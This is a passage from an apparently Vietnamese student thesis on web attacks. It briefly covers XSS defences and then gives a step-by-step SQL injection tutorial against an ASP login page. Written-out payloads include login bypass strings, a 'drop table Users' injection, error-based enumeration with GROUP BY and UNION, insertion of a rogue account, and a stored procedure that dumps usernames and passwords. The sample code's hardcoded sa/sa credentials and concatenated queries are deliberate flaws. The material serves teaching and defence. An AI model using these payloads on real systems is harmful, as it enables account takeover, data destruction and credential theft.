có thể tham khảo danh sách các lỗ hổng của chương trình bán trên các trangweb chứa các thông tin về bảo mật như securityfocus.com, securiteam.com, Tuy nhiên nếu các website được tự viết mã nguồn thì chúng ta không thể ápdụng phương pháp trên Trong trường hợp này ta cần đến các chương trìnhscanner tự động Nếu sử dụng trong môi trường Windows chúng ta có thể dùngN-Stealth hay AppScan, đó là những chương trình scan khá tốt, ta không chỉkiểm tra được các lỗi XSS mà nó còn cho phép ta kiểm tra các lỗi khác trongWebsite đó, Server đó
JavaScript/Java/VBScript/ActiveX/Flash Related nào
o Lọc dấu nháy đơn hay kép
o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tựNull khiến cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận
ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này)
o Xóa những kĩ tự “>”, “<”
o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóatheo chuẩn riêng
Trang 30 Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng
có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vàomức độ tin cậy mà người dùng sẽ quyết định
Nhận xét:
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉdừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hayform lừa đảo mà hacker đưa đến cho nạn nhân Vì thế, ngoài việc ứng dụngkiểm tra tính đúng đắn của dữ liệu trước khi sử dụng thì việc cần nhất là ngườidùng nên cảnh giác trước khi bước vào một trang Web mới Có thể nói, nhờvào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kĩ thuậtnày
III CHÈN CÂU TRUY VẤN SQL (SQL INJECTION)
IV.1 Khái niệm SQL Injection
SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổngtrong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗicủa hệ quản trị cơ sở dữ liệu để “tiêm vào” (inject) và thi hành các câu lệnhSQL bất hợp pháp ( không được người phát triển ứng dụng lường trước) Hậuquả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện cácthao tác xóa, hiệu chỉnh,… do có toàn quyền trên cơ sở dữ liệu của ứng dụng,thậm chí là server mà ứng dụng đó đang chạy Lỗi này thường xảy ra trên cácứng dụng web có dữ liệu được quản trị bằng các hệ quản trị cơ sở dữ liệu nhưSQL Server, MySQL, Oracle, DB2, Sysbase
IV.2 Các cách tấn công
Trang 31Có bốn dạng thường được sử dụng để tấn công cơ sở dữ liệu, bao gồm: vượtqua kiểm tra lúc đăng nhập (authorization bypass), sử dụng câu lệnh SELECT,
sử dụng câu lệnh INSERT, sử dụng các stored-procedures
Để trình bày tốt nội dung này, đồ án sử dụng bảng Users
STT Tên trường Kiểu trường Kích thước
2 Username Varchar 50
3 Password Varchar 50
Ngôn ngữ lập trình sử dụng để minh họa là ASP với cơ sở dữ liệu là SQL
IV.2.1 Kĩ thuật tấn công vượt qua kiểm tra đăng nhập (authorization
bypass)
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờvào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụngweb
Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vàocác trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêucầu người dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi ngườidùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu cóhợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp theo
Ví dụ: Trang ASP xử lí dữ liệu người dùng đăng nhập có đoạn mã xử lí dữ liệunhư sau:
<%
username = Trim(Request("txtUserName"))
password = Trim(Request("txtPassWord"))
Trang 32DSN="driver={SQL Server};server=(local);uid=sa;pwd=sa;
database=data1"
'strconn="provider=SQLOLEDB.1;Data Source=localhost;Persist Security Info=False;User ID=sa;PWD=sa; Initial Catalog=Sach" Set RS = Server.CreateObject("ADODB.Recordset")
Set Conn = Server.CreateObject("ADODB.Connection")
conn.open DSN
SQL = "SELECT * FROM Quantri WHERE UserName='" & username &
"'and PassWord ='"& password&"'"
Response.Redirect("user.html") End if
Trang 33Ví dụ 1:
Giá trị nhập vào là:
Username: ‘or’’=’ Hoặc hi' or
1=1 Password : ‘or’’=’ Hoặc hi' or 1=1—
Lúc này câu lệnh SQL như sau:
SELECT * FROM Users WHERE Username='’OR’’=’' AND
Câu truy vấn trên là luôn luôn đúng vì ‘’ luôn đúng ‘’ và sẽ trả về tất cả các
bản ghi của Users và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợppháp này như là người dùng đăng nhập hợp lệ
Kết hợp với kí tự đặc biệt của SQL:
Trang 34 Kí tự “;”: đánh dấu kết thúc 1 câu truy vấn
Kí tự “ “: ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng
Ví dụ 2:
Username: ‘; drop table
Users Password:
Câu lệnh SQL lúc này như sau:
SELECT * FROM Users WHERE Username='’;drop table Users AND Password=;
Với câu lệnh trên thì bảng Users sẽ bị xóa hoàn toàn
Nếu như ta đã biết một tên User nào đó thì có thể nhập vào:
Username: admin’
Password:
Câu lệnh SQL lúc này như sau:
SELECT * FROM Users WHERE Username='admin’ AND Password= ;
Câu lệnh trên cho phép đăng nhập với quyền của User đó mà không đòi hỏipassword
IV.2.2 Tấn công dựa vào câu lệnh SELECT
Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báolỗi để lấy thông tin về bảng cũng như những trường trong bảng Để làm đượcđiều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhậpcho phù hợp
Câu truy vấn cần để đăng nhập:
sqlStr="SELECT * FROM users WHERE username='"+username+"' AND password='"+password+"'"
Trang 35Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câuđiều kiện “having”, như ví dụ sau:
Giá trị nhập vào:
Username : ‘having
1=1 Lỗi phát sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.Id' is invalid in the select list because it is not contained in an
Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn làUsers và trong bảng tồn tại một trường tên là Id
Sau đó sử dụng GROUP BY:
Username :‘group by User.Id having
1=1 Lỗi phát sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Như vậy username là một trường được sử dụng trong bảng users và tham giavào câu truy vấn
Tiếp tục sử dụng GROUP BY:
Username: ‘group by users.Id,users.username having
Trang 361=1 Lỗi phát sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Như vậy password là một trường được sử dụng trong bảng users và tham giavào câu truy vấn
Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảngUser tham gia vào câu truy vấn.Khi không còn báo lỗi cú pháp GROUP BYnữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng Lúcnày UNION được sử dụng:
Username: ‘union select sum(Id) from Users
Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc Đối số phải là kiểu
số Nếu đối số không là kiểu số thì phát sinh lỗi như sau:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
The sum or average aggregate operation cannot take a nchar data type as an
Username: ';INSERT INTO Users VALUES
Trang 37(‘100’,'hacker','',1) Như vậy là hacker đã có một tài khoản để đăng nhập mà không cần mật khẩuchứng thực.
Đây là một cách khác để xác định nội dung của bảng User, sử dụng phươngpháp tìm kiếm thông tin như sau:
Bước 1:
Tìm tuần tự từng dòng trên bảng Users
Username: ‘union select 1,1,1,1
Người đầu tiên trong bảng Users là “admin”
Bước 2:
Để biết các giá trị tiếp theo, nhập chuỗi sau:
Username: ‘;select min(Username),1,1,1 from Users where Username>
‘admin’ union select 1,1,1,1 from
Trang 38Thực hiện như bước 2 cho ra kết quả từng dòng với trường Usernametrong bảng Users.
Bước 4:
Để biết thêm về Password, có thể thực hiện như sau:
Username: ‘; select Password,1,1,1 from Users where
Username=’admin’ union select 1,1,1,1 from Users
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar
value ‘password’ to a column of data type int.
Hacker cũng có thể tạo ra một bảng tạm trên cơ sở dữ liệu của bạn và bảng tạmnày chỉ có một field và column duy nhất chứa tất cả dữ liệu của bảng users vàmột lúc họ có thể xem toàn bộ dữ liệu sau đó xóa bảng tạm này đi
Ví dụ : Minh họa một công đọan sẽ giúp hacker đọc hết thông tin trong bảngUser:
Bước 1 : tạo một Stored procedure để chép vào tất cả thông tin của 2trường Username và Password trong bảng Users thành một chuỗi vàomột bảng mới là foo có một trường là ret bằng đoạn mã sau:
Create pro test
As
Begin
Declare @ret varchar(8000)
Set @ret=’:’
Select @ret=@ret+’ ‘+Username+’/’+Password from Users
Select @ret as ret into foo